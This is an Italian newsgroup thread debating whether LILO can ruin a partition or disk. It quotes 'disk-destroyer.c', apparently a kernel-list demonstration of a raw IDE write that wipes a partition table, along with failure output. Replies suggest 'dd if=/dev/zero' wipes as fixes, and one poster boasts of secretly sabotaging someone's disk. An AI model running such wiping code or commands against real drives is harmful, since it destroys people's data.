Newsgroup: it.comp.os.linux.iniziare
Titolo: puo' lilo.conf danneggiare una partizione? (MANNAGGIAAAA!!!)

Vi rendo partecipi della mia disgrazia:
Per aver modificato semplicemente il file di configurazione
di LILO il mio sistema si è letteralmente impallato. Non è riuscito
piu' a riconoscere la partizione di Windows (/dev/hda1). 
Ora..dico io...è possibile che un file di configurazione di LILO
modifichi una partizione a tal punto dal renderla ILLEGGIBILE?=??
Insomma...ho provato a bootare con il disco di Win...e lo stesso win
si è rifiutato di partire per un errore nella partizione. Ovviamente
non mi ha manco permesso di installare di sopra di nuovo
windows...cosi'...i miei bei 700mega di DATI sono andati persi.
Adesso magari mi potrebbero venire soluzioni che avrei potuto
intraprendere per evitare questa DISASTROSA perdita...ma ormai ho
cancellato tutto. La mia domanda è sempre la stessa: PUO' un cavolo di
file di configuazione di LILO danneggiarmi una partizione?????? 
NON è una domanda retorica...e oltre ad essere un POST di sfogo questo
vorrebbe essere un modo di cercare di capire perche' diavolo una cosa
del genere deve succedere con LINUX...:PPP Insomma.....Vabe' che è
facile far danno....ma a questi livelli  non sapevo. E' una delusione.
Sono davvero rammaricato..:PPP
Grazie a tutti quelli che mi illumineranno che mi daranno il loro
conforto..:)) (eheheh..:)
Ciau Ciau
Livio
se volete rispondermi in privato : 
liviol...@tin.it

conforto..:)) (eheheh..:)
Ho avuto un problema simile.
Lilo della Mandrake 7 installato sul MBR mi ha rovinato un disco.
Ho dovuto acquistarne uno nuovo.
Ora uso ChosOS 0.8, che non da problemi ed e' piu' user-friendlyě.
-- 
Ciao
DGP85
http://daps.cjb.net/

Ho dovuto acquistarne uno nuovo.
^^^^^^^^^^^^^ ma quando mai??? come fa un programma a danneggiare FISICAMENTE un
hard disk? ma dai... (me lo mandi per 20000 lire spese postali incluse
l'hard-disk rotto? ;-) )
io sono riuscito a far SEMBRARE un hard-disk rotto: potenza dell'fdisk di linux,
ho creato di nascosto delle partizioni a meta' disco di un tipo che l'fdisk del
dos non riusciva a togliere, oltre a impastare un po' i cilindri e i settori e
altro. Il tipo ne ha voluto uno nuovo. Risultato: ora l'hd danneggiato e'
pimpantissimo nel mio secondo pc! (il tizio in questione aveva un conto in
sospeso con me... e io ho pareggiato! ;-) )
-- 
Vuoi configurare velocemente internet, postfix, fetchmail, procmail,
leafnode, firewall, dns, wwwoffle,  junkbuster, mutt, slrn ed altro?
Visita 
http://mrshark.sourceforge.net
 oppure  
http://mrshark.cjb.net
e scarica il "Quick&Easy Configuration Howto",  piu' i files citati.

sospeso con me... e io ho pareggiato! ;-) )
Cattivello! Stai attento che non segua il NG.
Ad ogni modo mandami via e-mail come hai fatto ;-)

 ha rovinato un disco. Ho dovuto acquistarne uno nuovo. Ora uso ChosOS
ho avuto lo stesso probl pure io e pensavo che fosse solo il disco fuffa;
ma come cavolo fa lilo a *rovinare* fisicamente il disco!?!?
ai tempi provai pure i vari on-track-manager del disco.. ma nulla.
strano!


To:	
linux-...@vger.rutgers.edu
Subject: disk-destroyer.c
Here is the rouge program that can be slipped into CRON.
A perl script......you name the access point and it gets permission
KISS your DATA GONE!
Do not playwith unless you can afford the data loss!
Parallelizing fsck version 1.17 (26-Oct-1999)
e2fsck 1.17, 26-Oct-1999 for EXT2 FS 0.5b, 95/08/09
fsck.ext2: Device not configured while trying to open /dev/hde1
Possibly non-existent or swap device?
mount: /dev/hde1 is not a valid block device
Parallelizing fsck version 1.17 (26-Oct-1999)
e2fsck 1.17, 26-Oct-1999 for EXT2 FS 0.5b, 95/08/09
fsck.ext2: Attempt to read block from filesystem resulted in short read
while trying to open /dev/hdg1
Could this be a zero-length partition?
Not very funny.........heh......
fdisk /dev/hde
Device contains neither a valid DOS partition table, nor Sun or SGI disklabel
Building a new DOS disklabel. Changes will remain in memory only,
until you decide to write them. After that, of course, the previous
content won't be recoverable.
Even less funny now.........heh......
Currently all Linux kernels can be ATTACKED in this method.
This will cause a system death and a full FSCK afterwards and the drive
attacked is gone!  In some case you can recover.
This version of "disk-destroyer.c" waxes the partition table.
It is very serious, the scope of this problem.
Now please test the patch and I will begin work on correcting 2.2. then 2.0
There is still a flaw, but I am getting it nailed.
Some of the true disk access commands like in "disk-destroyer.c" slip pass
the filter and need to be tighter.  You have to love this.....
Andre Hedrick
The Linux ATA/IDE guy
/*
 * gcc -Wall -Wstrict-prototypes -O2 -s -o disk-destroyer disk-destroyer.c
 */
#include <unistd.h>
#include <linux/string.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <ctype.h>
#include <sys/ioctl.h>
#include <sys/shm.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#include <sys/time.h>
#include <sys/times.h>
#include <sys/types.h>
#include <linux/hdreg.h>
#include <linux/fs.h>
#include <linux/major.h>
int main(int argc, char *argv[])
{
	unsigned char args[4+512] = {WIN_WRITE,0,0,1,};
	int fd;
	if (argc != 2) {
		printf("usage: %s device\n", argv[0]);
		return 0;
	}
	if ((fd = open(argv[1], O_RDWR|O_NONBLOCK)) == -1) {
		perror("couldn't open device");
		return 0;
	}
	if (ioctl(fd, HDIO_DRIVE_CMD, &args))
		perror(" DISK_DESTROYER falied");
	close(fd);
	return 0;


byte sul settore 0 ha risolto
Grazie per le informazioni.
Comunque ripetimi questo del dd, forse potrebbe risolvere il problema
(FIPS parlava proprio del settore 0).


(FIPS parlava proprio del settore 0).
prova dd if=/dev/zero of=/dev/hda bs=512 count=1 


e' vero che questo è it.comp.os.linux.iniziare, ma viste le risposte
arrivate sarebbe meglio
rinominalrlo in it.comp.os.linux.assurdità

rinominalrlo in it.comp.os.linux.assurdità
grazie per aver contribuito alla causa: spiegati...


rinominalrlo in it.comp.os.linux.assurdita'
???
Guarda che non sto dicendo balle.
L'hard disk e' inutilizzabile, forse con il metodo di MrShark posso
riuscire a recuperarlo, ma dubito.
Il fatto e' che corrotti i settori informativi e' difficile ricuperare
il disco.
-- 
DGP85
http://daps.cjb.net/
No HTML or Binaries with this address

 il disco.
sara' difficile recuperare i dati, ma il disco non puo' essersi
danneggiato fisicamente :)
Metodo MrShark_plus: dd if=/dev/zero of=/dev/hdX
cosi' pialli via tutto
ciao
Kronos
-- 
Home: 
http://kronoz.tsx.org
ICQ-UIN: 69071547
Carpe diem, quam minimum credula postero. (Q. Horatius Flaccus)

 0.8, che non da problemi ed e' piu' user-friendlyě.
Oddio non ho mai sentito una cosa del genere!!!!
un boot loader non fa altro che scrivere nei primi settori, mi spiegate
come cazzo fa a distruggerli?
Giusto č piů facile dire che linux č cattivo che ammetere che quel HD era
difettoso....
-- 
| /
| \Byte - Andrea Briganti - 
kbyt...@freemail.it
http://members.xoom.it/kbytesystem
 ICQ: 40872731 - C6: andreakbyte
Activelist Sentimenti: 47103807

 Sono davvero rammaricato..:PPP
Secondo me lilo non c'entra nulla!
Io credo che il programma che hai usato per fare le partizioni abbia
sbagliato alla grande. A me è capitato di fare delle partizioni che sulla
carta sembrano perfette ma che in realtà appena vai a montare sopra dei
dati incasina tutto...


difettoso....
Io non parlo di linux, ma di lilo.
Il disco non era difettoso perché passo il Norton Disk Doctor una
volta al giorno.


Cmq...a me non mi si è rovinato l'HD. Cioe'....non sono piu' riuscito
ad accedere alla partizione win e lo stesso win si è rifiutato di
installarsi di sopra proprio per un errore nel disco...quindi. ...:P
Altro non so dirvi. Sono solo contento (si fa per dire) di sapere che
non sono stato io ignorante a rovinare tutto. Adesso posso bestemmiare
e insultare a piu' non posso quel dannato programmino! ;)))) argh

e insultare a piu' non posso quel dannato programmino! ;)))) argh
finiamola con 'sta storia: lilo non rovina un corno, e con un dd si riporta
tutto a posto. L'unico modo che "forse" potrebbe rovinarlo e' una formattazione
a basso livello di un disco ide, cosa che si fa solo in fabbrica ormai


 passo il Norton Disk Doctor una volta al giorno.
Il norton disk doctor non fa un controllo di scrittura e posizionamento in
quei settori cruciali, analizza sommariamente il boot sector...
Ti assicuro che se tu avessi reinstallato win98 ti saresti trovato
ugualmente col culo per terra!
--- 


 insultare a piu' non posso quel dannato programmino! ;)))) argh
Hai sbagliayo a creare le partizioni, fidati, e sbagliando le partizioni
possono capitare questi problemi! lo sai per esempio che win non riesce a
gestire correttamente una partizione se la prima unità logica è unix e le
altre dos?


quei settori cruciali, analizza sommariamente il boot sector...
Con l'analisi approfondita controlla tutto.


 Con l'analisi approfondita controlla tutto.
Noni, non controlla tutto....
Esiste anche un possibile test, quello sulla scrittura.... e non credo che
il norton (o qualsiasi altro programma simile) vada a fare un test del
genere dove risiedono dati.
Eppoi lilo non tocca nulla se non l'mbr e l'mbr non è vitale ne per le
partizioni ne per i sistemi operativi.
Per cui anche ammettendo che si fossero distrutti i cilindri del
bootsector con un disco di sistema avresti potuto cmq avviare quello che
volevi anche win!


a basso livello di un disco ide, cosa che si fa solo in fabbrica ormai
Anche perche', per risparmiare, i componenti che consentirebbero di
farla sull'HD NON CI SONO. L'HD (se equipaggiato) passa il TaskFile
su un connettorino esterno, dal quale, non giungendo alcun ACK, non
recupera alcun dato, e ti ritorna "Status=OK", come a dire "Ehi, io
ho formattato tutto".
In realta' non ha fatto niente.
Altri HD dispongono di due controllers: quello usato in fabbrica in
sede di test (che e' sempre lo stesso per tutti gli HD, lo riusano)
e quello venduto al cliente (testato sempre sullo stesso HD).
Nove hard disks su dieci vengono montati con il controller finale a
partire dalla fabbrica. Al decimo viene applicato il controller per
i tests e viene massacrato di tests, poi gli piazzano il controller
finale e lo spediscono. Se i tests vanno male, tutti e dieci gli HD
vengono rispediti indietro per un controllo.
Il controller finale ovviamente neanche sa che esiste, qualcosa che
si chiama modalita' diagnostica o formattazione low level. Quando i
comandi relativi arrivano, si limita a dire "si', si'!" con un'aria
saggia, e a buttarli via :-)
Leonardo
".signature": bad command or file name

dos non riusciva a togliere, oltre a impastare un po' i cilindri e i settori e
Si puo' fare in modo che il DOS (o Windows) neanche bootino, se
quell'hard disk e' nel sistema (no, neanche da floppy. Grazie a
Bill per i suoi bugs). Un tecnico, montato l'hard disk e acceso
il PC, ha ascoltato un attimo il rumore whirrrTLANG whirrrTLANG
del povero hard disk e ha sentenziato "Questo e' andato" (e per
onesta', avrei detto cosi' anch'io se non avessi saputo cos'era
successo veramente).
Unica soluzione: installare l'HD su un sistema Linux od OS/2, e
cancellare il MBR *completamente*. L'HD a nuova vita restituito
proseguira' ad andare come niente fosse, con tutti i dati salvi
a bordo.


a bordo.
Provato a ricrearne l'MBR... NADA.
Ora voglio tentare il metodo di MrShark, ma prima devo fare un
backup...


Vi rendo partecipi della mia disgrazia:
Mi butto anch'io nella mischia, dando ragione a tutti, almeno in parte.
1) Usando lilo, se bacato, puoi rendere il disco inutilizzabile fino ad
una bella passata con dd if=/dev/zero of=/dev/hda... e successivo nuovo
fdisk, visto che nei dischi ATA-IDE la tabella delle partizioni risiede
negli ultimi 66 bytes dell'MBR, e se hai un lilo bacato, puo' andarci a
scrivere sopra, mancando la mira[*].
2) lilo, pero', non riesce fisicamente a rovinare l'hard disk, il quale
dopo una salutare passata di azzeramento e dei settori vitali ridiventa
verginello come una poppante.
2a) lilo pero', puo' convincerti di aver reso il tuo disco inservibile,
se su questo disco c'era montato un qualche geometry expander (on track
manager, ezdisk, o altri), visto che cio' che va a scrivere (solo se lo
installi sull'MBR) si va a sovrapporre proprio alla parte di codice che
realizza la trascodifica delle geometrie *anomale* non riconosciute dal
bios della macchina, in assenza di detto expander.
3) Il disco stava effettivamente vivendo i suoi ultimi gloriosi momenti
di vita, tu non lo sapevi perche' non avevi ancora provato a riscrivere
la traccia 0 lato 0 settore 1; appena lilo ha provato, per un errore di
posizionamento delle testine in scrittura, ti ha frullato la parte piu'
delicata del disco, ora in effetti non piu' recuperabile.
Risultato finale:
Se il tuo disco lo vuoi spedire per 20klire, secondo me, ci rimetti, le
probabilita' le faccio: 60%=1 38%=2a 2%=3.
[*] Bacato, o reso tale da cause esterne: overclock, memoria farlocca o
altri motivi saltuari.
Si' Leo, giustificato in tuo onore.:-)
-- 
           |Save our planet!
  Ciao     |Save wildlife;
  roberto  |For your E-MAIL use only recycled Bytes !!
           |roberto poggi  
rpo...@softhome.net

scrivere sopra, mancando la mira[*].
Verificato con FIPS, e' lo stesso problema mio!


bios della macchina, in assenza di detto expander.
Veramente io il problema l'ho avuto con il disco normale e quello
espanso (MaxBlast-EzBios) funziona perfettamente.


espanso (MaxBlast-EzBios) funziona perfettamente.
Tutto e' possibile, dipende da come era stato letto inizialmente il
boot, con o senza il maxblast (che non conosco, e non so a che livello
si inserisca nella catena)


si inserisca nella catena)
Con, sempre con il MaxBlast inserito.
Ma credo che si applichi in una sezione speciale del disco (gira solo
sui Maxtor).


probabilita' le faccio: 60%=1 38%=2a 2%=3.
Si', 8K, visto che un 1.6 come il mio e' all'incira 28K (anche meno,
28K a maggio, quando ho comprato il 20Gb.
